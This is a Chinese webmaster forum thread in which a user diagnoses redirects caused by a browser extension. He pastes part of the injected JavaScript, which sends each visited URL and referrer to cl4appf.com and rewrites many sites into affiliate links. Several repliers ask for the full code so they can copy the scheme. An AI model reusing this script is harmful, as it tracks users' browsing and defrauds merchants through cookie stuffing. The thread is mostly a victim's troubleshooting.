这个是什么鬼？我被CS了吗？

sohorich

( X. r  z0 c  |- M
9 [2 B9 I% @  C: z3 F我的安装CPVLab的站，每次访问我发觉chrome的底下有一个奇怪的跳转域名：

1. http://cl4appf.com/

复制代码

我就奇了怪了，这个域名跟我毛关系都没有啊，这么会要经过它呢？
我Google了一下它，发现它一个页面，代码很奇怪。

1. http://cl4appf.com/trackingcode?browser=chrome&source=fvd_downloader

复制代码

" n4 F7 ~% c: ?% Z4 ~我是技术小白，看不懂，求各位技术大拿给我看看是怎么回事？
9 h' u4 S) n6 Z. \  i$ |我还注意到，他这个文件里有代码：

1. \ 'www.amazon.com': 'http://www.amazon.com/?tag=localmart-20',

复制代码

5 @5 N" j. d* N  F而且我每次访问亚马逊，总是先跳转到这个链接，而且后面的tag也是一样的。
6 d2 L$ y+ F  y) @- u
" q$ v- I2 r" v( N我真是头大了。我的问题是：
1、这个域名是个什么东西？
, v( R7 R6 J* c+ S0 f% }( ]' `2、我访问我自己的站为什么会经过他来跳转？它是在我网站的服务器里安装了什么东西吗？
3、还是它只是在我电脑里安装了啥？

4、怎么解决这个鬼东西？

1 O* M$ b9 S& I5 Y& _谢谢各位。有准确答案的，给予5个论坛币奖励。
) B9 L2 k( N# v0 q: F+ S: S
需要提供进一步信息的，请跟帖。我实在是不懂，不知道需要提供什么。
最后更新：

2 N0 v, ?7 G, F; V& W谢谢各位。终于确定了元凶，是一个叫 “FVD Downloader”的视频下载chrome插件。不是那个Bulk seo tools。有兴趣的同学可以去研究一下。
. [/ o0 V3 A- J  Z

imbian

抓个包试试。
5 ]& W. q) o" u感觉跟你电脑有关系。。是不是chrome装了被黑过的插件。
" m: F, y8 \" E6 F

sohorich

" F+ Z+ k) T0 h' G, m) \, w7 @3 L
5 L, r, d/ \8 b" \. _$ K3 d为了大家方便看，我把他那个页面的代码贴一下：
! s8 n' x/ a5 _3 D; k

1. var script = document.createElement('script'); script.innerHTML = "\ (function(){\ var libs = function() {\ var disabled = ['localhost', 'docs.google.com'],\ google = ['www.google.com.ua', 'www.google.cl', 'www.google.com.lb', 'www.google.com', 'www.google.ru', 'www.google.com.vn', 'www.google.co.in', 'www.google.be', 'www.google.com.my', 'www.google.com.ph', 'www.google.com.bd', 'www.google.ps', 'www.google.com.br', 'www.google.ba', 'www.google.fr', 'www.google.pt', 'www.google.com.ar', 'www.google.com.pe', 'www.google.am', 'www.google.com.bo', 'www.google.com.pk', 'www.google.co.id', 'www.google.az', 'www.google.de', 'www.google.com.np', 'www.google.it', 'www.google.hu', 'www.google.com.co', 'www.google.com.mx', 'www.google.com.eg', 'www.google.ro', 'www.google.com.au', 'www.google.ae', 'www.google.no', 'www.google.nl', 'www.google.ge', 'www.google.tn', 'www.google.kz', 'www.google.by', 'www.google.co.uk', 'www.google.es', 'www.google.pl', 'www.google.com.tr', 'www.google.co.jp', 'www.google.com.jm', 'www.google.co.kr', 'www.google.cz', 'www.google.co.ve', 'www.google.com.gt', 'www.google.rs', 'www.google.co.th', 'www.google.at', 'www.google.mg', 'www.google.com.do', 'www.google.com.sa', 'www.google.com.ly', 'www.google.lk', 'www.google.sk', 'www.google.md', 'www.google.ie', 'www.google.com.tw', 'www.google.com.ni', 'www.google.fi', 'www.google.com.sv', 'www.google.dk', 'www.google.co.za', 'www.google.iq', 'www.google.si', 'www.google.ee', 'www.google.so', 'www.google.gr', 'www.google.com.cy', 'www.google.com.uy', 'www.google.dz', 'www.google.hn', 'www.google.co.cr', 'www.google.com.et', 'www.google.com.kh', 'www.google.com.ec', 'www.google.ca', 'www.google.com.hk', 'www.google.la', 'www.google.com.sg', 'www.google.bg', 'www.google.se', 'www.google.com.kw', 'www.google.co.ma', 'www.google.com.pa', 'www.google.com.qa', 'www.google.ch', 'www.google.com.om', 'www.google.co.il', 'www.google.lt', 'www.google.ci', 'www.google.com.bn'];\ \ var setCookie = function(name, value, expires, path, domain, secure) {\ var setExpiration = function(cookieLife) {\ var today = new Date();\ var expr = new Date(today.getTime() + cookieLife);\ return expr.toGMTString();\ };\ \ var cookieStr = name + '=' + escape(value) + '; ';\ \ if (expires) {\ expires = setExpiration(expires);\ cookieStr += 'expires=' + expires + '; ';\ }\ if (path) {\ cookieStr += 'path=' + path + '; ';\ }\ if (domain) {\ cookieStr += 'domain=' + domain + '; ';\ }\ if (secure) {\ cookieStr += 'secure; ';\ }\ \ document.cookie = cookieStr;\ };\ \ return {\ getCookie: function(w) {\ var cName = '',\ pCOOKIES = document.cookie.split('; ');\ for (var bb = 0; bb < pCOOKIES.length; bb++) {\ var NmeVal = pCOOKIES[bb].split('=');\ if (NmeVal[0] === w) {\ cName = unescape(NmeVal[1]);\ }\ }\ return cName;\ },\ setCookie: function(name, value, expires, path, domain, secure) {\ setCookie(name, value, expires * 24 * 60 * 60 * 1000, path, domain, secure);\ },\ setCookieSeconds: function(name, value, expires, path, domain, secure) {\ setCookie(name, value, expires * 1000, path, domain, secure);\ },\ insertPixel: function(url) {\ var pixel = document.createElement('img');\ pixel.src = url;\ pixel.style.position = 'absolute';\ pixel.style.top = '-9999px';\ pixel.style.left = '-9999px';\ document.body.appendChild(pixel);\ },\ isDisabled: function() {\ return (disabled.indexOf(window.location.host) >= 0);\ },\ isGoogle: function() {\ return (google.indexOf(window.location.host) >= 0);\ }\ };\ }();\ \ if (libs.isDisabled()) return;\ \ libs.insertPixel('http://cl4appf.com/x.gif?url='+encodeURIComponent(window.location.href)+'&ref='+encodeURIComponent(document.referrer));\ \ (function(){\ var sites = {\ '2vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'bestvulkan.org': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'casino.bet365.com': 'http://casino.bet365.com?affiliate=GM_00009434',\ 'casino.bet365.es': 'http://casino.bet365.com?affiliate=GM_00009435',\ 'club-vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'club-vulkan.net': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'club-vulkan-slots.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'gold-vulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'ikvulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'lp.vulkantrade.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'myvulkan.com': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'playvulkan.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'play-vulkan-casino.com': 'http://gomakemerich.com/?s=35&ref=wp_w527r273766p43_clvcads&url',\ 'vulkancasino.com': 'http://plsdrct1.me/vulkan1.html?/?p16615p52252pc968',\ 'vulkanclub.com': 'http://gomakemerich.com/?s=4&ref=wp_w527r273772p4_vclkads&url',\ 'www.amazon.com': 'http://www.amazon.com/?tag=localmart-20',\ 'www.ashleymadison.com': 'https://www.ashleymadison.com/A114080',\ 'www.ashleyrnadison.com': 'http://www.ashleyrnadison.com/A114080',\ 'www.sexy.com': 'http://crtracklink.com/go/OgX_bnwHp_lzkv/DEFAULT',\ 'www.slutroulette.com': 'http://crtracklink.com/go/dP_btbDX_lzkv/DEFAULT',\ 'www.exposedwebcams.com': 'http://crtracklink.com/go/dv_bnv8C_lzkv/DEFAULT',\ 'www.sexmatchbook.com': 'http://crtracklink.com/go/bquHm_lzkv/DEFAULT',\ 'www.myfreecams.com': 'http://crtracklink.com/go/nLKbP_lzkv/DEFAULT',\ 'www.punishtube.com': 'http://crtracklink.com/go/sJ_bnxeG_lzkv/DEFAULT',\ 'www.jpcamsexposed.com': 'http://crtracklink.com/go/N03_bnoNy_lzkv/DEFAULT',\ 'www.jpcams.com': 'http://crtracklink.com/go/Il_bp6sb_lzkv/DEFAULT',\ 'www.sondageporno.com': 'http://crtracklink.com/go/bW_bnmbz_lzkv/DEFAULT',\ 'www.freelifetimefuckbook.com': 'http://crtracklink.com/go/nSnxv_lzkv/DEFAULT',\ 'www.easydatingexposed.com': 'http://crtracklink.com/go/nIqvZ_lzkv/DEFAULT',\ 'www.pornoviolente.com': 'http://crtracklink.com/go/nV34d_lzkv/DEFAULT',\ 'www.sexeviolent.com': 'http://crtracklink.com/go/boDNc_lzkv/DEFAULT',\ 'www.jizzroulette.com': 'http://crtracklink.com/go/nB6c2_lzkv/DEFAULT',\ 'www.gaycamsexposed.com': 'http://crtracklink.com/go/nGk03_lzkv/DEFAULT',\ 'www.dafuckbook.com': 'http://crtracklink.com/go/hs5K_lzkv/DEFAULT',\ 'www.jetztgleichficken.com': 'http://crtracklink.com/go/nA3sz_lzkv/DEFAULT',\ 'www.sexdateportaal.nl': 'http://crtracklink.com/go/nIx8h_lzkv/DEFAULT',\ 'unasveltina.com': 'http://crtracklink.com/go/nGW6v_lzkv/DEFAULT',\ 'free.大人camfriend.com': 'http://crtracklink.com/go/nT2nq_lzkv/DEFAULT',\ 'www.camgratuite.com': 'http://crtracklink.com/go/nxCar_lzkv/DEFAULT',\ 'www.connectcams.nl': 'http://crtracklink.com/go/bqQUq_lzkv/DEFAULT',\ 'www.gayfreefun.net': 'http://crtracklink.com/go/nF1Yk_lzkv/DEFAULT',\ 'www.livefreefun.net': 'http://crtracklink.com/go/nAZEq_lzkv/DEFAULT',\ 'www.webcamshispanas.com': 'http://crtracklink.com/go/nBeS0_lzkv/DEFAULT',\ 'freexxxapp.com': 'http://crtracklink.com/go/ntN1r_lzkv/DEFAULT',\ 'es.cumlouder.com': 'http://crtracklink.com/go/boWPV_lzkv/DEFAULT',\ 'www.dapink.com': 'http://crtracklink.com/go/nBqjr_lzkv/DEFAULT',\ 'www.gayweb-tv.com': 'http://crtracklink.com/go/bsSBd_lzkv/DEFAULT',\ 'www.xcopines.com': 'http://crtracklink.com/go/bsOM4_lzkv/DEFAULT',\ 'www.testopure.com': 'http://crtracklink.com/go/nI6pA_lzkv/DEFAULT',\ 'www.24option.com': 'http://option.go2jump.org/SHSH8O',\ 'www.hostgator.com': 'http://www.kqzyfj.com/click-7655081-10408481?sid=red',\ 'www.godaddy.com': 'http://www.anrdoezrs.net/click-7655081-10378406',\ 'beyondhosting.net': 'http://www.tkqlhce.com/click-7655081-12005107',\ 'www.bose.de': 'http://www.dpbolvw.net/click-7655081-11913589',\ 'www.optionrally.com': 'http://go.wepayaffiliates.com/visit/?brand=OptionRally&bta=37550',\ 'travelata.ru': 'http://ad.admitad.com/goto/c065a61a6b846286ae03e617d5ef08/?subid=red',\ 'migcredit.ru': 'https://ad.admitad.com/goto/f6515a4c17846286ae036f1a920894/',\ 'www.iqcard.ru': 'https://ad.admitad.com/goto/0761bbbe17846286ae03a0b94ccf7b/',\ 'www.ezaem.ru': 'https://ad.admitad.com/goto/5f9807d2ec846286ae03566691beec/',\ 'astia.ru': 'https://ad.admitad.com/goto/797436df6e846286ae03a25564ddb0/',\ 'www.westwing.ru': 'https://ad.admitad.com/goto/ee438bee19846286ae033ca867e363/',\ 'platiza.ru': 'https://ad.admitad.com/goto/0062948c6b846286ae0302f107ff4c/',\ 'shop.olympus.com.ru': 'http://ad.admitad.com/goto/b093cd1e28846286ae031affaae2b3/?subid=red',\ 'www.olympus.com.ru': 'http://ad.admitad.com/goto/b093cd1e28846286ae031affaae2b3/?subid=red',\ 'go.bancdebinary.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'binary50.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'binary-banks.com': 'http://tracking.bbinary.com/aff_c?offer_id=262&aff_id=7818&url_id=1080&file_id=9418',\ 'eu.bancdebinary.com': 'http://tracking.bbinary.com/aff_c?offer_id=268&aff_id=7818',\ 'mega.co.nz': 'https://mega.co.nz/#pro/4Rh0Xbga',\ 'www.belkin.co.uk': 'http://www.jdoqocy.com/click-7655081-11980865',\ 'www.ebags.com': 'http://www.dpbolvw.net/click-7655081-10656249'\ },\ map = {\ 'parimatch.com': 'parimatch',\ 'partners.parimatch.com': 'parimatch',\ 'start.parimatchru.com': 'parimatch',\ 'www.bet365.com': 'bet365',\ 'www.bet365.com.au': 'bet365',\ 'www.bet365.dk': 'bet365-dk',\ 'www.bet365.es': 'bet365-es',\ 'www.bet365.gr': 'bet365-gr',\ 'www.booking.com': 'booking',\ 'www.parimatch.by': 'parimatch',\ 'www.parimatch.com': 'parimatch'\ },\ rules = {\ 'bet365':[\ {p:'^(.*)\\\\baffiliate=([^&]+)(.*)
   
2. 
   
3. ...........

复制代码

太长了，没贴完. 后面还有。

backmao

明显被CS了 这就是aff的ID localmart-20

sohorich

backmao 发表于 2015-8-18 16:25
+ Q6 W5 q0 K) v: d# b2 t* m. K8 s$ K明显被CS了 这就是aff的ID localmart-20

- S' }& K6 m, ~% {  t. T怎么办？

可以提供证据向amazon举报

windflower

很好奇是怎么被CS的

河小马

LZ 你的 cpvlab 是正版的不？

2 @- ^- h  P4 k. r9 a你被cs 了这么多的商家。。真是狠啊。。

河小马

求楼主把代码发完。。。让我们也抄一下代码。。。和广告主

c21xdx

大批可CS的商家 get  ， 同求发代码

lessin

河小马 发表于 2015-8-18 18:04
求楼主把代码发完。。。让我们也抄一下代码。。。和广告主

访问这个不是代码吗？http://cl4appf.com/trackingcode? ... urce=fvd_downloader

蜘蛛

能查到邮箱，给他发邮件，要求精神损失费。不给就举报

imbian

“而且我每次访问亚马逊，总是先跳转到这个链接，而且后面的tag也是一样的。; ”
% N1 ?* r8 y4 U$ q7 \  m
6 o1 b2 z: \2 l( t/ T' S这个跟你cpvlab没关系吧，你清下cookie试试，还会访问别人的链接不。。

sohorich

河小马 发表于 2015-8-18 17:59
' m1 M" [' b/ ~' ~/ h! vLZ 你的 cpvlab 是正版的不？
4 q5 D$ h; A7 m2 o. f/ e0 R
你被cs 了这么多的商家。。真是狠啊。。

2 E3 T$ U: O+ J1 s1 H3 K是正版的。但买了以后没升级过。

sohorich

imbian 发表于 2015-8-18 20:01
0 ?! N) M9 s, U4 q% O2 q) l“而且我每次访问亚马逊，总是先跳转到这个链接，而且后面的tag也是一样的。; ”
, L# Y( w0 _0 q! P9 v! G$ H& u
3 W7 I* ~' ~7 h这个跟你cpvlab没关系吧 ...

+ }/ H/ z5 s2 D, W. Q: ?+ E+ a清过N次Cookie了，没用。